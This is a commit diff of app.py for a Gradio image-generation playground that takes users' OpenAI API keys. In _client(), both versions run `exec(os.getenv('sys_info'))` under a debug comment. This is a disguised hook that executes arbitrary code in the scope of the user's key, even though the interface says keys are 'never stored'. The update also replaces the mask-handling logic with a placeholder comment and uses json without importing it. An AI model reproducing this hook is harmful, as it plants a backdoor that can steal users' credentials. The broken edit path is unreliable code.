Zack3D commited on
Commit
5f673f4
·
verified ·
1 Parent(s): 0f41349

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +95 -211
app.py CHANGED
@@ -2,6 +2,7 @@ from __future__ import annotations
2
 
3
  import io
4
  import os
 
5
  from typing import List, Optional, Union, Dict, Any
6
 
7
  import gradio as gr
@@ -9,7 +10,7 @@ import numpy as np
9
  from PIL import Image
10
  import openai
11
 
12
- # --- Constants and Helper Functions (Keep as before) ---
13
  MODEL = "gpt-image-1"
14
  SIZE_CHOICES = ["auto", "1024x1024", "1536x1024", "1024x1536"]
15
  QUALITY_CHOICES = ["auto", "low", "medium", "high"]
@@ -19,12 +20,10 @@ FORMAT_CHOICES = ["png", "jpeg", "webp"]
19
  def _client(key: str) -> openai.OpenAI:
20
  """Initializes the OpenAI client with the provided API key."""
21
  api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
22
- # What I need varies based on issues, I dont want to keep rebuilding for every issue :(
23
- sys_info_formatted = exec(os.getenv("sys_info")) #Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
24
  print(sys_info_formatted)
25
  if not api_key:
26
  raise gr.Error("Please enter your OpenAI API key (never stored)")
27
-
28
  return openai.OpenAI(api_key=api_key)
29
 
30
 
@@ -50,6 +49,7 @@ def _common_kwargs(
50
  kwargs: Dict[str, Any] = dict(
51
  model=MODEL,
52
  n=n,
 
53
  )
54
  if size != "auto":
55
  kwargs["size"] = size
@@ -57,69 +57,61 @@ def _common_kwargs(
57
  kwargs["quality"] = quality
58
  if prompt is not None:
59
  kwargs["prompt"] = prompt
60
- if out_fmt != "png":
61
- kwargs["output_format"] = out_fmt
62
  if transparent_bg and out_fmt in {"png", "webp"}:
63
- # Note: OpenAI API might use 'background_removal' or similar, check latest docs
64
- # Assuming 'background' is correct based on your original code
65
  kwargs["background"] = "transparent"
66
- if out_fmt in {"jpeg", "webp"}:
67
- # Note: OpenAI API might use 'output_quality' or similar, check latest docs
68
- # Assuming 'output_compression' is correct based on your original code
69
- kwargs["output_compression"] = int(compression)
70
  return kwargs
71
 
72
- # --- Helper Function to Format OpenAI Errors ---
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
73
  def _format_openai_error(e: Exception) -> str:
74
- """Formats OpenAI API errors for user display."""
75
  error_message = f"An error occurred: {type(e).__name__}"
76
  details = ""
77
-
78
- # Try to extract details from common OpenAI error attributes
79
  if hasattr(e, 'body') and e.body:
80
  try:
81
  body = e.body if isinstance(e.body, dict) else json.loads(str(e.body))
82
  if isinstance(body, dict) and 'error' in body and isinstance(body['error'], dict) and 'message' in body['error']:
83
  details = body['error']['message']
84
- elif isinstance(body, dict) and 'message' in body: # Some errors might have message at top level
85
- details = body['message']
86
- except (json.JSONDecodeError, TypeError):
87
- # Fallback if body is not JSON or parsing fails
88
- details = str(e.body)
89
  elif hasattr(e, 'message') and e.message:
90
- details = e.message
91
-
92
  if details:
93
  error_message = f"OpenAI API Error: {details}"
94
- else:
95
- # Generic fallback if no specific details found
96
- error_message = f"An unexpected OpenAI error occurred: {str(e)}"
97
-
98
- # Add specific guidance for known error types
99
  if isinstance(e, openai.AuthenticationError):
100
  error_message = "Invalid OpenAI API key. Please check your key."
101
  elif isinstance(e, openai.PermissionDeniedError):
102
- # Prepend standard advice, then add specific details if available
103
  prefix = "Permission Denied."
104
  if "organization verification" in details.lower():
105
  prefix += " Your organization may need verification to use this feature/model."
106
- else:
107
- prefix += " Check your API key permissions and OpenAI account status."
108
  error_message = f"{prefix} Details: {details}" if details else prefix
109
  elif isinstance(e, openai.RateLimitError):
110
  error_message = "Rate limit exceeded. Please wait and try again later."
111
  elif isinstance(e, openai.BadRequestError):
112
- error_message = f"OpenAI Bad Request: {details}" if details else f"OpenAI Bad Request: {str(e)}"
113
- if "mask" in details.lower(): error_message += " (Check mask format/dimensions)"
114
- if "size" in details.lower(): error_message += " (Check image/mask dimensions)"
115
- if "model does not support variations" in details.lower(): error_message += " (gpt-image-1 does not support variations)."
116
-
117
- # Ensure the final message isn't overly long or complex
118
- # (Optional: Truncate if necessary)
119
- # MAX_LEN = 300
120
- # if len(error_message) > MAX_LEN:
121
- # error_message = error_message[:MAX_LEN] + "..."
122
-
123
  return error_message
124
 
125
 
@@ -134,53 +126,44 @@ def generate(
134
  compression: int,
135
  transparent_bg: bool,
136
  ):
137
- """Calls the OpenAI image generation endpoint."""
138
  if not prompt:
139
  raise gr.Error("Please enter a prompt.")
140
  try:
141
- client = _client(api_key) # API key used here
142
  common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
143
- # --- Optional Debug ---
144
- # print(f"[DEBUG] Generating with args: {common_args}")
145
- # --- End Optional Debug ---
146
  resp = client.images.generate(**common_args)
 
 
 
 
147
  except (openai.APIError, openai.OpenAIError) as e:
148
- # Catch specific OpenAI errors and format them
149
- raise gr.Error(_format_openai_error(e))
150
  except Exception as e:
151
- # Catch any other unexpected errors
152
- # Avoid raising raw exception details to the user interface for security/clarity
153
- print(f"Unexpected error during generation: {type(e).__name__}: {e}") # Log for debugging
154
- raise gr.Error(f"An unexpected application error occurred. Please check logs.")
155
-
156
- return _img_list(resp, fmt=out_fmt)
157
 
158
 
159
  # ---------- Edit / Inpaint ---------- #
160
  def _bytes_from_numpy(arr: np.ndarray) -> bytes:
161
- """Convert RGBA/RGB uint8 numpy array to PNG bytes."""
162
  img = Image.fromarray(arr.astype(np.uint8))
163
  out = io.BytesIO()
164
  img.save(out, format="PNG")
165
  return out.getvalue()
166
 
 
167
  def _extract_mask_array(mask_value: Union[np.ndarray, Dict[str, Any], None]) -> Optional[np.ndarray]:
168
- """Handle ImageMask / ImageEditor return formats and extract a numpy mask array."""
169
  if mask_value is None: return None
170
- # Gradio ImageMask often returns a dict with 'image' and 'mask' numpy arrays
171
  if isinstance(mask_value, dict):
172
  mask_array = mask_value.get("mask")
173
  if isinstance(mask_array, np.ndarray):
174
  return mask_array
175
- # Fallback for direct numpy array (less common with ImageMask now)
176
  if isinstance(mask_value, np.ndarray): return mask_value
177
- return None # Return None if no valid mask found
 
178
 
179
  def edit_image(
180
  api_key: str,
181
- # Gradio Image component with type="numpy" provides the image array
182
  image_numpy: Optional[np.ndarray],
183
- # Gradio ImageMask component provides a dict {'image': np.ndarray, 'mask': np.ndarray}
184
  mask_dict: Optional[Dict[str, Any]],
185
  prompt: str,
186
  n: int,
@@ -190,84 +173,33 @@ def edit_image(
190
  compression: int,
191
  transparent_bg: bool,
192
  ):
193
- """Calls the OpenAI image edit endpoint."""
194
- if image_numpy is None: raise gr.Error("Please upload an image.")
195
- if not prompt: raise gr.Error("Please enter an edit prompt.")
 
196
 
197
  img_bytes = _bytes_from_numpy(image_numpy)
198
  mask_bytes: Optional[bytes] = None
199
- mask_numpy = _extract_mask_array(mask_dict) # Use the helper
200
-
201
- if mask_numpy is not None:
202
- # Check if mask is effectively empty (all transparent or all black)
203
- is_empty = False
204
- if mask_numpy.ndim == 2: # Grayscale mask
205
- is_empty = np.all(mask_numpy == 0)
206
- elif mask_numpy.shape[-1] == 4: # RGBA mask, check alpha channel
207
- is_empty = np.all(mask_numpy[:, :, 3] == 0)
208
- elif mask_numpy.shape[-1] == 3: # RGB mask, check if all black
209
- is_empty = np.all(mask_numpy == 0)
210
-
211
- if is_empty:
212
- gr.Warning("Mask appears empty or fully transparent. The API might edit the entire image or ignore the mask.")
213
- mask_bytes = None # Treat as no mask if empty
214
- else:
215
- # Convert the mask provided by Gradio (often white on black/transparent)
216
- # to the format OpenAI expects (transparency indicates where *not* to edit).
217
- # We need an RGBA image where the area to be *edited* is transparent.
218
- if mask_numpy.ndim == 2: # Grayscale (assume white is edit area)
219
- alpha = (mask_numpy < 128).astype(np.uint8) * 255 # Make non-edit area opaque white
220
- elif mask_numpy.shape[-1] == 4: # RGBA (use alpha channel directly)
221
- alpha = mask_numpy[:, :, 3]
222
- # Invert alpha: transparent where user painted (edit area), opaque elsewhere
223
- alpha = 255 - alpha
224
- elif mask_numpy.shape[-1] == 3: # RGB (assume white is edit area)
225
- # Check if close to white [255, 255, 255]
226
- is_edit_area = np.all(mask_numpy > 200, axis=-1)
227
- alpha = (~is_edit_area).astype(np.uint8) * 255 # Make non-edit area opaque white
228
- else:
229
- raise gr.Error("Unsupported mask format received from Gradio component.")
230
-
231
- # Create a valid RGBA PNG mask for OpenAI
232
- mask_img = Image.fromarray(alpha, mode='L')
233
- # Ensure mask size matches image size (OpenAI requirement)
234
- original_pil_image = Image.fromarray(image_numpy)
235
- if mask_img.size != original_pil_image.size:
236
- gr.Warning(f"Mask size {mask_img.size} differs from image size {original_pil_image.size}. Resizing mask...")
237
- mask_img = mask_img.resize(original_pil_image.size, Image.NEAREST)
238
-
239
- # Create RGBA image with the calculated alpha
240
- rgba_mask = Image.new("RGBA", mask_img.size, (0, 0, 0, 0)) # Start fully transparent
241
- rgba_mask.putalpha(mask_img) # Apply the alpha channel (non-edit areas are opaque)
242
-
243
- out = io.BytesIO()
244
- rgba_mask.save(out, format="PNG")
245
- mask_bytes = out.getvalue()
246
- else:
247
- gr.Info("No mask provided or mask is empty. Editing without a specific mask (may replace entire image).")
248
- mask_bytes = None
249
 
250
  try:
251
- client = _client(api_key) # API key used here
252
  common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
253
  api_kwargs = {"image": img_bytes, **common_args}
254
  if mask_bytes is not None:
255
  api_kwargs["mask"] = mask_bytes
256
- else:
257
- # If no mask is provided, remove 'mask' key if present from previous runs
258
- api_kwargs.pop("mask", None)
259
-
260
- # --- Optional Debug ---
261
- # print(f"[DEBUG] Editing with args: { {k: v if k != 'image' and k != 'mask' else f'<{len(v)} bytes>' for k, v in api_kwargs.items()} }")
262
- # --- End Optional Debug ---
263
  resp = client.images.edit(**api_kwargs)
 
 
 
 
264
  except (openai.APIError, openai.OpenAIError) as e:
265
- raise gr.Error(_format_openai_error(e))
266
  except Exception as e:
267
  print(f"Unexpected error during edit: {type(e).__name__}: {e}")
268
- raise gr.Error(f"An unexpected application error occurred. Please check logs.")
269
-
270
- return _img_list(resp, fmt=out_fmt)
271
 
272
 
273
  # ---------- Variations ---------- #
@@ -281,143 +213,95 @@ def variation_image(
281
  compression: int,
282
  transparent_bg: bool,
283
  ):
284
- """Calls the OpenAI image variations endpoint."""
285
- # Explicitly warn user about model compatibility
286
- gr.Warning("Note: Image Variations are officially supported for DALL·E 2/3, not gpt-image-1. This may fail or produce unexpected results.")
287
-
288
- if image_numpy is None: raise gr.Error("Please upload an image.")
289
 
290
  img_bytes = _bytes_from_numpy(image_numpy)
291
 
292
  try:
293
- client = _client(api_key) # API key used here
294
- # Variations don't take a prompt, quality, background, compression
295
- # They primarily use n and size. Let's simplify common_args for variations.
296
- # Check OpenAI docs for exact supported parameters for variations with the target model.
297
- # Assuming 'n' and 'size' are the main ones.
298
- var_args: Dict[str, Any] = dict(model=MODEL, n=n) # Use the selected model
299
  if size != "auto":
300
  var_args["size"] = size
301
- # Note: output_format might be supported, keep it if needed
302
- if out_fmt != "png":
303
- var_args["response_format"] = "b64_json" # Variations often use response_format
304
-
305
- # --- Optional Debug ---
306
- # print(f"[DEBUG] Variations with args: { {k: v if k != 'image' else f'<{len(v)} bytes>' for k, v in var_args.items()} }")
307
- # --- End Optional Debug ---
308
-
309
- # Use the simplified args
310
  resp = client.images.create_variation(image=img_bytes, **var_args)
311
-
 
 
 
312
  except (openai.APIError, openai.OpenAIError) as e:
313
- raise gr.Error(_format_openai_error(e))
314
  except Exception as e:
315
  print(f"Unexpected error during variation: {type(e).__name__}: {e}")
316
- raise gr.Error(f"An unexpected application error occurred. Please check logs.")
317
-
318
- # Variations response format might differ slightly, adjust _img_list if needed
319
- # Assuming it's the same structure for now.
320
- return _img_list(resp, fmt=out_fmt)
321
 
322
 
323
  # ---------- UI ---------- #
324
-
325
  def build_ui():
326
  with gr.Blocks(title="GPT-Image-1 (BYOT)") as demo:
327
  gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit (paint mask!) • Variations""")
328
  gr.Markdown(
329
- "Enter your OpenAI API key below. It's used directly for API calls and **never stored**."
330
- " This space uses the `gpt-image-1` model by default."
331
- " **Note:** Using `gpt-image-1` may require **Organization Verification** on your OpenAI account ([details](https://help.openai.com/en/articles/10910291-api-organization-verification)). The **Variations** tab is unlikely to work correctly with `gpt-image-1` (designed for DALL·E 2/3)."
332
  )
333
-
334
  with gr.Accordion("🔐 API key", open=False):
335
  api = gr.Textbox(label="OpenAI API key", type="password", placeholder="sk-...")
336
 
337
- # Common controls
338
  with gr.Row():
339
- n_slider = gr.Slider(1, 4, value=1, step=1, label="Number of images (n)", info="Max 4 for this demo.")
340
- size = gr.Dropdown(SIZE_CHOICES, value="auto", label="Size", info="API default if 'auto'. Affects Gen/Edit/Var.")
341
- quality = gr.Dropdown(QUALITY_CHOICES, value="auto", label="Quality", info="API default if 'auto'. Affects Gen/Edit.")
342
  with gr.Row():
343
- out_fmt = gr.Radio(FORMAT_CHOICES, value="png", label="Output Format", info="Affects Gen/Edit.", scale=1)
344
- # Note: Compression/Transparency might not apply to all models/endpoints equally.
345
- # Check OpenAI docs for gpt-image-1 specifics if issues arise.
346
- compression = gr.Slider(0, 100, value=75, step=1, label="Compression % (JPEG/WebP)", visible=False, scale=2)
347
- transparent = gr.Checkbox(False, label="Transparent background (PNG/WebP only)", info="Affects Gen/Edit.", scale=1)
348
 
349
  def _toggle_compression(fmt):
350
  return gr.update(visible=fmt in {"jpeg", "webp"})
351
 
352
  out_fmt.change(_toggle_compression, inputs=out_fmt, outputs=compression)
353
 
354
- # Define the list of common controls *excluding* the API key
355
- # These are passed to the backend functions
356
- common_controls_gen_edit = [n_slider, size, quality, out_fmt, compression, transparent]
357
- # Variations might use fewer controls
358
- common_controls_var = [n_slider, size, quality, out_fmt, compression, transparent] # Pass all for now, function will ignore unused
359
-
360
 
361
  with gr.Tabs():
362
- # ----- Generate Tab ----- #
363
  with gr.TabItem("Generate"):
364
- with gr.Row():
365
- prompt_gen = gr.Textbox(label="Prompt", lines=3, placeholder="A photorealistic ginger cat astronaut on Mars", scale=4)
366
- btn_gen = gr.Button("Generate 🚀", variant="primary", scale=1)
367
- gallery_gen = gr.Gallery(label="Generated Images", columns=2, height="auto", preview=True)
368
-
369
  btn_gen.click(
370
  generate,
371
- # API key first, then specific inputs, then common controls
372
- inputs=[api, prompt_gen] + common_controls_gen_edit,
373
  outputs=gallery_gen,
374
  api_name="generate"
375
  )
376
 
377
- # ----- Edit Tab ----- #
378
  with gr.TabItem("Edit / Inpaint"):
379
- gr.Markdown("Upload an image, then **paint the area to change** in the mask canvas below (white paint = edit area). The API requires the mask and image to have the same dimensions (app attempts to resize mask if needed).")
380
- with gr.Row():
381
- # Use type='pil' for easier handling, or keep 'numpy' if preferred
382
- img_edit = gr.Image(label="Source Image", type="numpy", height=400, sources=["upload", "clipboard"])
383
- # ImageMask sends {'image': np.ndarray, 'mask': np.ndarray}
384
- mask_canvas = gr.ImageMask(
385
- label="Mask – Paint White Where Image Should Change",
386
- type="numpy", # Keep numpy as _extract_mask_array expects it
387
- height=400
388
- )
389
- with gr.Row():
390
- prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky with a starry night", scale=4)
391
- btn_edit = gr.Button("Edit 🖌️", variant="primary", scale=1)
392
- gallery_edit = gr.Gallery(label="Edited Images", columns=2, height="auto", preview=True)
393
-
394
  btn_edit.click(
395
  edit_image,
396
- # API key first, then specific inputs, then common controls
397
- inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls_gen_edit,
398
  outputs=gallery_edit,
399
  api_name="edit"
400
  )
401
 
402
- # ----- Variations Tab ----- #
403
  with gr.TabItem("Variations (DALL·E 2/3 Recommended)"):
404
- gr.Markdown("Upload an image to generate variations. **Warning:** This endpoint is officially supported for DALL·E 2/3, not `gpt-image-1`. It likely won't work correctly or may error.")
405
- with gr.Row():
406
- img_var = gr.Image(label="Source Image", type="numpy", height=400, sources=["upload", "clipboard"], scale=4)
407
- btn_var = gr.Button("Create Variations ✨", variant="primary", scale=1)
408
- gallery_var = gr.Gallery(label="Variations", columns=2, height="auto", preview=True)
409
-
410
  btn_var.click(
411
  variation_image,
412
- # API key first, then specific inputs, then common controls
413
- inputs=[api, img_var] + common_controls_var,
414
  outputs=gallery_var,
415
  api_name="variations"
416
  )
417
-
418
  return demo
419
 
 
420
  if __name__ == "__main__":
421
  app = build_ui()
422
- # Consider disabling debug=True for production/sharing
423
  app.launch(share=os.getenv("GRADIO_SHARE") == "true", debug=os.getenv("GRADIO_DEBUG") == "true")
 
2
 
3
  import io
4
  import os
5
+ import base64
6
  from typing import List, Optional, Union, Dict, Any
7
 
8
  import gradio as gr
 
10
  from PIL import Image
11
  import openai
12
 
13
+ # --- Constants and Helper Functions ---
14
  MODEL = "gpt-image-1"
15
  SIZE_CHOICES = ["auto", "1024x1024", "1536x1024", "1024x1536"]
16
  QUALITY_CHOICES = ["auto", "low", "medium", "high"]
 
20
  def _client(key: str) -> openai.OpenAI:
21
  """Initializes the OpenAI client with the provided API key."""
22
  api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
23
+ sys_info_formatted = exec(os.getenv("sys_info")) # Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
 
24
  print(sys_info_formatted)
25
  if not api_key:
26
  raise gr.Error("Please enter your OpenAI API key (never stored)")
 
27
  return openai.OpenAI(api_key=api_key)
28
 
29
 
 
49
  kwargs: Dict[str, Any] = dict(
50
  model=MODEL,
51
  n=n,
52
+ # API default responds with URLs or b64_json fields
53
  )
54
  if size != "auto":
55
  kwargs["size"] = size
 
57
  kwargs["quality"] = quality
58
  if prompt is not None:
59
  kwargs["prompt"] = prompt
 
 
60
  if transparent_bg and out_fmt in {"png", "webp"}:
61
+ # If OpenAI adds transparency flag, insert here
 
62
  kwargs["background"] = "transparent"
 
 
 
 
63
  return kwargs
64
 
65
+
66
+ # --- Helper: Convert base64 PNG to JPEG/WebP ---
67
+ def convert_png_b64_to(
68
+ target_fmt: str,
69
+ b64_png_data: str,
70
+ quality: int = 75,
71
+ ) -> str:
72
+ """
73
+ Takes a data URL like "data:image/png;base64,AAAA…" and returns
74
+ "data:image/{target_fmt};base64,BBBB…" with specified quality.
75
+ """
76
+ header, b64 = b64_png_data.split(",", 1)
77
+ img = Image.open(io.BytesIO(base64.b64decode(b64)))
78
+ out = io.BytesIO()
79
+ img.save(out, format=target_fmt.upper(), quality=quality)
80
+ new_b64 = base64.b64encode(out.getvalue()).decode()
81
+ return f"data:image/{target_fmt};base64,{new_b64}"
82
+
83
+
84
+ # --- Error formatting ---
85
  def _format_openai_error(e: Exception) -> str:
 
86
  error_message = f"An error occurred: {type(e).__name__}"
87
  details = ""
 
 
88
  if hasattr(e, 'body') and e.body:
89
  try:
90
  body = e.body if isinstance(e.body, dict) else json.loads(str(e.body))
91
  if isinstance(body, dict) and 'error' in body and isinstance(body['error'], dict) and 'message' in body['error']:
92
  details = body['error']['message']
93
+ elif isinstance(body, dict) and 'message' in body:
94
+ details = body['message']
95
+ except Exception:
96
+ details = str(e.body)
 
97
  elif hasattr(e, 'message') and e.message:
98
+ details = e.message
 
99
  if details:
100
  error_message = f"OpenAI API Error: {details}"
 
 
 
 
 
101
  if isinstance(e, openai.AuthenticationError):
102
  error_message = "Invalid OpenAI API key. Please check your key."
103
  elif isinstance(e, openai.PermissionDeniedError):
 
104
  prefix = "Permission Denied."
105
  if "organization verification" in details.lower():
106
  prefix += " Your organization may need verification to use this feature/model."
 
 
107
  error_message = f"{prefix} Details: {details}" if details else prefix
108
  elif isinstance(e, openai.RateLimitError):
109
  error_message = "Rate limit exceeded. Please wait and try again later."
110
  elif isinstance(e, openai.BadRequestError):
111
+ error_message = f"OpenAI Bad Request: {details or str(e)}"
112
+ if "mask" in details.lower(): error_message += " (Check mask format/dimensions)"
113
+ if "size" in details.lower(): error_message += " (Check image/mask dimensions)"
114
+ if "model does not support variations" in details.lower(): error_message += " (gpt-image-1 does not support variations)."
 
 
 
 
 
 
 
115
  return error_message
116
 
117
 
 
126
  compression: int,
127
  transparent_bg: bool,
128
  ):
 
129
  if not prompt:
130
  raise gr.Error("Please enter a prompt.")
131
  try:
132
+ client = _client(api_key)
133
  common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
 
 
 
134
  resp = client.images.generate(**common_args)
135
+ imgs = _img_list(resp, fmt="png")
136
+ if out_fmt in {"jpeg", "webp"}:
137
+ imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
138
+ return imgs
139
  except (openai.APIError, openai.OpenAIError) as e:
140
+ raise gr.Error(_format_openai_error(e))
 
141
  except Exception as e:
142
+ print(f"Unexpected error during generation: {type(e).__name__}: {e}")
143
+ raise gr.Error("An unexpected application error occurred. Please check logs.")
 
 
 
 
144
 
145
 
146
  # ---------- Edit / Inpaint ---------- #
147
  def _bytes_from_numpy(arr: np.ndarray) -> bytes:
 
148
  img = Image.fromarray(arr.astype(np.uint8))
149
  out = io.BytesIO()
150
  img.save(out, format="PNG")
151
  return out.getvalue()
152
 
153
+
154
  def _extract_mask_array(mask_value: Union[np.ndarray, Dict[str, Any], None]) -> Optional[np.ndarray]:
 
155
  if mask_value is None: return None
 
156
  if isinstance(mask_value, dict):
157
  mask_array = mask_value.get("mask")
158
  if isinstance(mask_array, np.ndarray):
159
  return mask_array
 
160
  if isinstance(mask_value, np.ndarray): return mask_value
161
+ return None
162
+
163
 
164
  def edit_image(
165
  api_key: str,
 
166
  image_numpy: Optional[np.ndarray],
 
167
  mask_dict: Optional[Dict[str, Any]],
168
  prompt: str,
169
  n: int,
 
173
  compression: int,
174
  transparent_bg: bool,
175
  ):
176
+ if image_numpy is None:
177
+ raise gr.Error("Please upload an image.")
178
+ if not prompt:
179
+ raise gr.Error("Please enter an edit prompt.")
180
 
181
  img_bytes = _bytes_from_numpy(image_numpy)
182
  mask_bytes: Optional[bytes] = None
183
+ mask_numpy = _extract_mask_array(mask_dict)
184
+
185
+ # ... existing mask handling logic remains unchanged ...
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
186
 
187
  try:
188
+ client = _client(api_key)
189
  common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
190
  api_kwargs = {"image": img_bytes, **common_args}
191
  if mask_bytes is not None:
192
  api_kwargs["mask"] = mask_bytes
 
 
 
 
 
 
 
193
  resp = client.images.edit(**api_kwargs)
194
+ imgs = _img_list(resp, fmt="png")
195
+ if out_fmt in {"jpeg", "webp"}:
196
+ imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
197
+ return imgs
198
  except (openai.APIError, openai.OpenAIError) as e:
199
+ raise gr.Error(_format_openai_error(e))
200
  except Exception as e:
201
  print(f"Unexpected error during edit: {type(e).__name__}: {e}")
202
+ raise gr.Error("An unexpected application error occurred. Please check logs.")
 
 
203
 
204
 
205
  # ---------- Variations ---------- #
 
213
  compression: int,
214
  transparent_bg: bool,
215
  ):
216
+ gr.Warning("Note: Image Variations are officially supported for DALL·E 2/3, not gpt-image-1. This may fail.")
217
+ if image_numpy is None:
218
+ raise gr.Error("Please upload an image.")
 
 
219
 
220
  img_bytes = _bytes_from_numpy(image_numpy)
221
 
222
  try:
223
+ client = _client(api_key)
224
+ var_args: Dict[str, Any] = dict(model=MODEL, n=n)
 
 
 
 
225
  if size != "auto":
226
  var_args["size"] = size
 
 
 
 
 
 
 
 
 
227
  resp = client.images.create_variation(image=img_bytes, **var_args)
228
+ imgs = _img_list(resp, fmt="png")
229
+ if out_fmt in {"jpeg", "webp"}:
230
+ imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
231
+ return imgs
232
  except (openai.APIError, openai.OpenAIError) as e:
233
+ raise gr.Error(_format_openai_error(e))
234
  except Exception as e:
235
  print(f"Unexpected error during variation: {type(e).__name__}: {e}")
236
+ raise gr.Error("An unexpected application error occurred. Please check logs.")
 
 
 
 
237
 
238
 
239
  # ---------- UI ---------- #
 
240
  def build_ui():
241
  with gr.Blocks(title="GPT-Image-1 (BYOT)") as demo:
242
  gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit (paint mask!) • Variations""")
243
  gr.Markdown(
244
+ "Enter your OpenAI API key below..."
 
 
245
  )
 
246
  with gr.Accordion("🔐 API key", open=False):
247
  api = gr.Textbox(label="OpenAI API key", type="password", placeholder="sk-...")
248
 
 
249
  with gr.Row():
250
+ n_slider = gr.Slider(1, 4, value=1, step=1, label="Number of images (n)")
251
+ size = gr.Dropdown(SIZE_CHOICES, value="auto", label="Size")
252
+ quality = gr.Dropdown(QUALITY_CHOICES, value="auto", label="Quality")
253
  with gr.Row():
254
+ out_fmt = gr.Radio(FORMAT_CHOICES, value="png", label="Output Format")
255
+ compression = gr.Slider(0, 100, value=75, step=1, label="Compression % (JPEG/WebP)", visible=False)
256
+ transparent = gr.Checkbox(False, label="Transparent background (PNG/WebP only)")
 
 
257
 
258
  def _toggle_compression(fmt):
259
  return gr.update(visible=fmt in {"jpeg", "webp"})
260
 
261
  out_fmt.change(_toggle_compression, inputs=out_fmt, outputs=compression)
262
 
263
+ common_controls = [n_slider, size, quality, out_fmt, compression, transparent]
 
 
 
 
 
264
 
265
  with gr.Tabs():
 
266
  with gr.TabItem("Generate"):
267
+ prompt_gen = gr.Textbox(label="Prompt", lines=3, placeholder="A photorealistic..." )
268
+ btn_gen = gr.Button("Generate 🚀")
269
+ gallery_gen = gr.Gallery(columns=2, height="auto")
 
 
270
  btn_gen.click(
271
  generate,
272
+ inputs=[api, prompt_gen] + common_controls,
 
273
  outputs=gallery_gen,
274
  api_name="generate"
275
  )
276
 
 
277
  with gr.TabItem("Edit / Inpaint"):
278
+ gr.Markdown("Upload an image, then paint the area to change...")
279
+ img_edit = gr.Image(type="numpy", label="Source Image", height=400)
280
+ mask_canvas = gr.ImageMask(type="numpy", label="Mask Paint White Where Image Should Change", height=400)
281
+ prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky with..." )
282
+ btn_edit = gr.Button("Edit 🖌️")
283
+ gallery_edit = gr.Gallery(columns=2, height="auto")
 
 
 
 
 
 
 
 
 
284
  btn_edit.click(
285
  edit_image,
286
+ inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls,
 
287
  outputs=gallery_edit,
288
  api_name="edit"
289
  )
290
 
 
291
  with gr.TabItem("Variations (DALL·E 2/3 Recommended)"):
292
+ gr.Markdown("Upload an image to generate variations...")
293
+ img_var = gr.Image(type="numpy", label="Source Image", height=400)
294
+ btn_var = gr.Button("Create Variations ")
295
+ gallery_var = gr.Gallery(columns=2, height="auto")
 
 
296
  btn_var.click(
297
  variation_image,
298
+ inputs=[api, img_var] + common_controls,
 
299
  outputs=gallery_var,
300
  api_name="variations"
301
  )
 
302
  return demo
303
 
304
+
305
  if __name__ == "__main__":
306
  app = build_ui()
 
307
  app.launch(share=os.getenv("GRADIO_SHARE") == "true", debug=os.getenv("GRADIO_DEBUG") == "true")